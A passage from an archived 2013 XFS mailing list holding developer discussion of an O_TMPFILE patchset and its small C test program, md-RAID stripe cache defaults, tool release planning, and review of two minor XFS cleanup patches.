revision out, welcome to any constructive comment, thanks. > > If anyone is interested in playing with it, you can get this patchset from my dev git on github: > git://github.com/wuzhy/kernel.git xfs_tmpfile > > The patchset was tested against the code snippet from Andy Lutomirski and other test cases: > http://lwn.net/Articles/562296/ > If you have any other better test cases, please let me know, thanks. > > #include > #include > #include > #include > #include > > #define __O_TMPFILE 020000000 > #define O_DIRECTORY 0200000 > #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) > #define AT_EMPTY_PATH 0x1000 > > int main(int argc, char **argv) > { > char buf[128]; > > if (argc != 3) > errx(1, "Usage: flinktest PATH linkat|proc"); > > int fd = open(".", O_TMPFILE | O_RDWR, 0600); > if (fd == -1) > err(1, "O_TMPFILE"); > else > printf("fd #: %d\n", fd); > > write(fd, "test", 4); > > if (!strcmp(argv[2], "linkat")) { > if (linkat(fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) != 0) > err(1, "linkat"); > } else if (!strcmp(argv[2], "proc")) { > sprintf(buf, "/proc/self/fd/%d", fd); > if (linkat(AT_FDCWD, buf, AT_FDCWD, argv[1], AT_SYMLINK_FOLLOW) != 0) > err(1, "linkat"); > } else { > errx(1, "invalid mode"); > } > > return 0; > } > > Changelog from v1: > - Fixed one chunk of the comments from Christoph Hellwig and Jeff Liu. > > v1: > - Addressed the comments from Dave Chinner and Christoph Hellwig. > > Zhi Yong Wu (3): > xfs: factor prid related codes into xfs_get_initial_prid() > xfs: add O_TMPFILE support > xfs: allow linkat() on O_TMPFILE files > > fs/xfs/xfs_inode.c | 123 ++++++++++++++++++++++++++++++++++++++++++++-- > fs/xfs/xfs_inode.h | 12 +++++ > fs/xfs/xfs_iops.c | 16 ++++++ > fs/xfs/xfs_shared.h | 4 +- > fs/xfs/xfs_symlink.c | 5 +-- > fs/xfs/xfs_trans_resv.c | 55 +++++++++++++++++++-- > fs/xfs/xfs_trans_resv.h | 2 + > 7 files changed, 202 insertions(+), 15 deletions(-) > > -- > 1.7.6.5 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs ---end quoted text--- From BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 26 02:55:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA55C7F4E for ; Thu, 26 Dec 2013 02:55:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 951458F804B for ; Thu, 26 Dec 2013 00:55:23 -0800 (PST) X-ASG-Debug-ID: 1388048119-04bdf00fe227dd20001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id LMyOz5tNtdawmhej (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 00:55:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vw6ik-0003UO-SG; Thu, 26 Dec 2013 08:55:10 +0000 Date: Thu, 26 Dec 2013 00:55:10 -0800 From: Christoph Hellwig To: Stan Hoeppner Cc: Arkadiusz Mi??kiewicz , linux-raid@vger.kernel.org, "xfs@oss.sgi.com" Subject: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint Message-ID: <20131226085510.GB32660@infradead.org> X-ASG-Orig-Subj: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <201312202343.47895.arekm@maven.pl> <52B57912.5080000@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B57912.5080000@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1388048119 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Sat, Dec 21, 2013 at 05:18:42AM -0600, Stan Hoeppner wrote: > The powers that be, Linus in particular, are not fond of default > settings that create a lot of kernel memory structures. The default > md-RAID5/6 stripe_cache-size yields 1MB consumed per member device. The default sizing is stupid as it basically makes RAID unusable out of the box, I always have to fix that up, as well as a somewhat reasonable chunk size for parity RAID to make it usable. I'm also pretty sure I complained about it at least once a while ago, but never got a reply. From BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 26 02:56:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4B2677F4E for ; Thu, 26 Dec 2013 02:56:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 33C058F804B for ; Thu, 26 Dec 2013 00:56:30 -0800 (PST) X-ASG-Debug-ID: 1388048188-04cb6c537b998cd0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id sUeC6zMtVdeKNn1D (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Thu, 26 Dec 2013 00:56:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vw6k0-0003V6-87; Thu, 26 Dec 2013 08:56:28 +0000 Date: Thu, 26 Dec 2013 00:56:28 -0800 From: Christoph Hellwig To: Rich Johnston Cc: xfs-oss Subject: Re: [RFC] Userspace and xfstests releases Message-ID: <20131226085628.GC32660@infradead.org> X-ASG-Orig-Subj: Re: [RFC] Userspace and xfstests releases References: <52B06E51.1020504@sgi.com> <52B32CE0.5070701@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B32CE0.5070701@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1388048188 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 19, 2013 at 11:29:04AM -0600, Rich Johnston wrote: > On 12/17/2013 09:31 AM, Rich Johnston wrote: > >I was planning on a xfsdump and xfstests release this week before I go > >on vacation. Any objections? > Currently xfstests is not released, should this be changed? > > I will wait until I return on Jan 2 to release xfsprogs. > > > > >Release versions for xfsprogs are still being discussed. Are there any > >more comments on this subject? > Here is one of the threads discussing this. > > http://oss.sgi.com/archives/xfs/2013-10/msg00421.html > Christoph were you saying you create xfsprogs branches? Next time Cc me if you want a quick personal answer :) I offered playing release manager for another 3.1.x release off a branch, but it seems like no one supported that idea. The offer still stands if we get a consensus to do the branch release. From stan@hardwarefreak.com Thu Dec 26 03:24:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F0FD67F3F for ; Thu, 26 Dec 2013 03:24:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CDF398F8049 for ; Thu, 26 Dec 2013 01:24:00 -0800 (PST) X-ASG-Debug-ID: 1388049839-04bdf00fe0280030001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id Tu8BXBFrg3FcKIHM for ; Thu, 26 Dec 2013 01:23:59 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 0D12A6C1B1; Thu, 26 Dec 2013 03:23:59 -0600 (CST) Message-ID: <52BBF5B0.8020206@hardwarefreak.com> Date: Thu, 26 Dec 2013 03:24:00 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Christoph Hellwig CC: Arkadiusz Mi??kiewicz , linux-raid@vger.kernel.org, "xfs@oss.sgi.com" Subject: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <201312202343.47895.arekm@maven.pl> <52B57912.5080000@hardwarefreak.com> <20131226085510.GB32660@infradead.org> X-ASG-Orig-Subj: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint In-Reply-To: <20131226085510.GB32660@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388049839 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/26/2013 2:55 AM, Christoph Hellwig wrote: > On Sat, Dec 21, 2013 at 05:18:42AM -0600, Stan Hoeppner wrote: >> The powers that be, Linus in particular, are not fond of default >> settings that create a lot of kernel memory structures. The default >> md-RAID5/6 stripe_cache-size yields 1MB consumed per member device. > > The default sizing is stupid as it basically makes RAID unusable out > of the box, I always have to fix that up, as well as a somewhat > reasonable chunk size for parity RAID to make it usable. I'm also > pretty sure I complained about it at least once a while ago, but never > got a reply. IIRC you Dave C. and myself all voiced criticism after the default chunk size was changed from 64KB to 512KB. I guess we didn't make a strong enough case to have it reduced, or maybe didn't use the right approach. Maybe Neil is waiting for patches to be submitted for changing these defaults, and to argue the merits in that context instead of pure discussion? Dunno. Just guessing. Maybe he'll read this and jump in. -- Stan From BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 26 04:07:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D1ADD7F3F for ; Thu, 26 Dec 2013 04:07:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C176C8F8049 for ; Thu, 26 Dec 2013 02:07:22 -0800 (PST) X-ASG-Debug-ID: 1388052441-04cb6c537d99dc80001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id rN0AbkJCyC7xZSff (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 02:07:22 -0800 (PST) X-Barracuda-Envelope-From: BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vw7qb-00037k-DK; Thu, 26 Dec 2013 10:07:21 +0000 Date: Thu, 26 Dec 2013 02:07:21 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 3/4] xfs: simplify xfs_ail_max Message-ID: <20131226100721.GA11950@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: simplify xfs_ail_max References: <52B9829A.10804@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B9829A.10804@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1388052441 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143418 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 24, 2013 at 08:48:26PM +0800, Jeff Liu wrote: > From: Jie Liu > > We have already simplified xfs_ail_min() with a new list helper, i.e, > list_first_entry_or_null(), but xfs_ail_max() still remains as same > as there is no corresponding list helper we can use for now. It's > fairly easy to simulate the list behavior of getting the last item > in the AIL, therefore we can simplify xfs_ail_max() and move it to > the header file to make this pair of AIL routines looks symmetrical. The usageof list_last_entry is fine with me, as is making it inline. But I think using the explicit if is a lot more readable than the ? : expression. From BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 26 04:08:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F2C67F3F for ; Thu, 26 Dec 2013 04:08:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01131304053 for ; Thu, 26 Dec 2013 02:08:25 -0800 (PST) X-ASG-Debug-ID: 1388052505-04bdf00fdf283290001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id LbE0BlFQVl8eyl3P (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 02:08:25 -0800 (PST) X-Barracuda-Envelope-From: BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vw7rd-00038I-2x; Thu, 26 Dec 2013 10:08:25 +0000 Date: Thu, 26 Dec 2013 02:08:25 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 4/4] xfs: rename mem_to_page to xfs_bufmem_to_page Message-ID: <20131226100825.GB11950@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs: rename mem_to_page to xfs_bufmem_to_page References: <52B982AF.2060607@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B982AF.2060607@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1388052505 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143418 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 24, 2013 at 08:48:47PM +0800, Jeff Liu wrote: > From: Jie Liu > > Rename mem_to_page() to xfs_bufmem_to_page() for XFS convention. There's nothing inherently buffere related in the function, it doesn't even take an argument related to buffers. From jeff.liu@oracle.com Thu Dec 26 04:45:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CD3B7F50 for ; Thu, 26 Dec 2013 04:45:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 076F7AC004 for ; Thu, 26 Dec 2013 02:45:02 -0800 (PST) X-ASG-Debug-ID: 1388054701-04bdf00fe0284a90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 47mYWYb23evYQF0B (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 02:45:01 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBQAiYSo027877 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Dec 2013 10:44:34 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBQAiVGw001782 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 26 Dec 2013 10:44:34 GMT Received: from ubhmt113.oracle.com (ubhmt113.oracle.com [156.151.24.18]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBQAiUlU020630; Thu, 26 Dec 2013 10:44:30 GMT Received: from [192.168.1.105] (/123.119.96.172) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 26 Dec 2013 02:44:30 -0800 Message-ID: <52BC0888.3060702@oracle.com> Date: Thu, 26 Dec 2013 18:44:24 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 4/4] xfs: rename mem_to_page to xfs_bufmem_to_page References: <52B982AF.2060607@oracle.com> <20131226100825.GB11950@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs: rename mem_to_page to xfs_bufmem_to_page In-Reply-To: <20131226100825.GB11950@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388054701 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143418 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/26 2013 18:08 PM, Christoph Hellwig wrote: > On Tue, Dec 24, 2013 at 08:48:47PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Rename mem_to_page() to xfs_bufmem_to_page() for XFS convention. > > There's nothing inherently buffere related in the function, it doesn't > even take an argument related to buffers. Well, I originally want to rename to xfs_buf_mem_to_page() by following up other functions in this file with "xfs_buf_" prefix, something like a typo... Looks this routine can not be folded into xfs_buf_associate_memory() without introducing another variable to hold the temporary type convert value of pageaddr, so I'm fine if we remains the same. Thanks, -Jeff From jeff.liu@oracle.com Thu Dec 26 04:53:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 85B437F50 for ; Thu, 26 Dec 2013 04:53:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 35018AC001 for ; Thu, 26 Dec 2013 02:53:04 -0800 (PST) X-ASG-Debug-ID: 1388055183-04bdf00fe0284dd0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id R91LjxoV1XqcarZ6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 02:53:03 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBQAqd9a017251 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Dec 2013 10:52:40 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBQAqc6n010076 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 26 Dec 2013 10:52:39 GMT Received: from ubhmt114.oracle.com (ubhmt114.oracle.com [156.151.24.19]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBQAqc1i017829; Thu, 26 Dec 2013 10:52:38 GMT Received: from [192.168.1.105] (/123.119.96.172) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 26 Dec 2013 02:52:38 -0800 Message-ID: <52BC0A71.5010904@oracle.com> Date: Thu, 26 Dec 2013 18:52:33 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 3/4] xfs: simplify xfs_ail_max References: <52B9829A.10804@oracle.com> <20131226100721.GA11950@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: simplify xfs_ail_max In-Reply-To: <20131226100721.GA11950@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388055183 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143419 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/26 2013 18:07 PM, Christoph Hellwig wrote: > On Tue, Dec 24, 2013 at 08:48:26PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> We have already simplified xfs_ail_min() with a new list helper, i.e, >> list_first_entry_or_null(), but xfs_ail_max() still remains as same >> as there is no corresponding list helper we can use for now. It's >> fairly easy to simulate the list behavior of getting the last item >> in the AIL, therefore we can simplify xfs_ail_max() and move it to >> the header file to make this pair of AIL routines looks symmetrical. > > The usageof list_last_entry is fine with me, as is making it inline. > But I think using the explicit if is a lot more readable than the ? : > expression. Sounds sensible to me, will take care of it. Thanks, -Jeff From neilb@suse.de Thu Dec 26 16:14:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A8227F3F for ; Thu, 26 Dec 2013 16:14:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0AE95AC003 for ; Thu, 26 Dec 2013 14:14:31 -0800 (PST) X-ASG-Debug-ID: 1388096066-04cb6c537b9c4070001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id SjOjVcYCtCkDhDlx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 14:14:27 -0800 (PST) X-Barracuda-Envelope-From: neilb@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 9511CAC11; Thu, 26 Dec 2013 22:14:25 +0000 (UTC) Date: Fri, 27 Dec 2013 09:14:07 +1100 From: NeilBrown To: stan@hardwarefreak.com Cc: Christoph Hellwig , Arkadiusz Mi??kiewicz , linux-raid@vger.kernel.org, "xfs@oss.sgi.com" Subject: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint Message-ID: <20131227091407.2ac401d1@notabene.brown> X-ASG-Orig-Subj: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint In-Reply-To: <52BBF5B0.8020206@hardwarefreak.com> References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <201312202343.47895.arekm@maven.pl> <52B57912.5080000@hardwarefreak.com> <20131226085510.GB32660@infradead.org> <52BBF5B0.8020206@hardwarefreak.com> X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.22; x86_64-suse-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/signed; micalg=PGP-SHA1; boundary="Sig_/tIziOH9cKrE+.8RfYN9tXTg"; protocol="application/pgp-signature" X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1388096066 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of 